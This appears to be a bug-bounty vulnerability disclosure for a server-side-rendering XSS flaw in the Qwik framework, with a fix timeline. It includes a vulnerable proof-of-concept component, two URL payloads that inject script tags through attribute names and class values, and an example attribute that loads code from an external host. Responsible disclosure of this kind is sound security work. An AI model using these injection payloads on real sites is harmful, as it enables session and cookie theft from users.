Attributes are not properly handled leading to XSS in builderio/qwik

Valid

Reported on

Dec 19th 2022


Description

Attribute names and the class attribute values are not properly handled leading to XSS where a user can control either:

  • A class value
  • An attribute name.

While this may not seem like a important security issue this weakness is not documented. One would assume the behaviour would match that of other similar frameworks like nextjs, astro, quasar, nuxt3, nuxtjs. This is not true and this confusion could lead to a security issue.

Using a user supplied attribute name is fairly uncommon, but a class name that partially depends on user input is more likely.

Proof of Concept

export default component$(() => {

  const x = useLocation()
  const k = x.query.k
  const v = x.query.v

  const o = {
    [k]: v
  }

  return (
    <div {...o}>
      Value: {k} = {v}
    </div>
  );
});

  • Navigate to http://localhost/?k="><script>alert(document.domain)</script>&v=world (attribute name XSS)
  • Navigate to http://localhost/?k=class&v="><script>alert(document.domain)</script> (class XSS)

Comparison

  • Nuxt3 uses Vue's official server renderer.

  • This implementation will refuse to render keys containing unsafe values. Classes are stripped using regex.

  • https://github.com/vuejs/vue/blob/2e570617666983ababcfd167dfa50208f5dfd45a/packages/server-renderer/src/modules/attrs.ts#L42

  • |

  • Nextjs uses react's official server renderer.

  • This implementation will also refuse to render unsafe values. Much harder to see what happens to classes but I assumed unsafe values are just escaped.

  • https://github.com/facebook/react/blob/fabef7a6b71798fe2477720e59d090a0e74e0009/packages/react-dom-bindings/src/shared/DOMProperty.js#L76

Notes

It is also important to note that XSS can be achieved when you have full control over attribute names and values using Qwik specific features. For example <div on-window:click=//io.bryces.io></div> would be a simple example of this. In my opinion Qwik should take some sort of action to prevent these types of attributes being added, removing the option to use external imports would be ideal.

This only occurs during SSR, neither of the previous issues occur in the DOM client side.

These may seem like unlikely issues to occur, and bad practice if they do, however this possibility should at least be documented.

Impact

XSS where user input is used within attribute names or class values.

Typical XSS impact, steal cookies, phishing etc.

Occurrences

Class value injection

We are processing your report and will contact the builderio/qwik team within 24 hours. 5 months ago
OhB00 modified the report
5 months ago
OhB00 modified the report
5 months ago
We have contacted a member of the builderio/qwik team and are waiting to hear back 5 months ago
Adam Bradley validated this vulnerability 5 months ago
OhB00 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Adam Bradley marked this as fixed in 0.1.0-beta5 with commit 4b2f89 5 months ago
Adam Bradley has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Jan 20th 2023
render-ssr.ts#L634 has been validated
Adam Bradley published this vulnerability 4 months ago
to join this conversation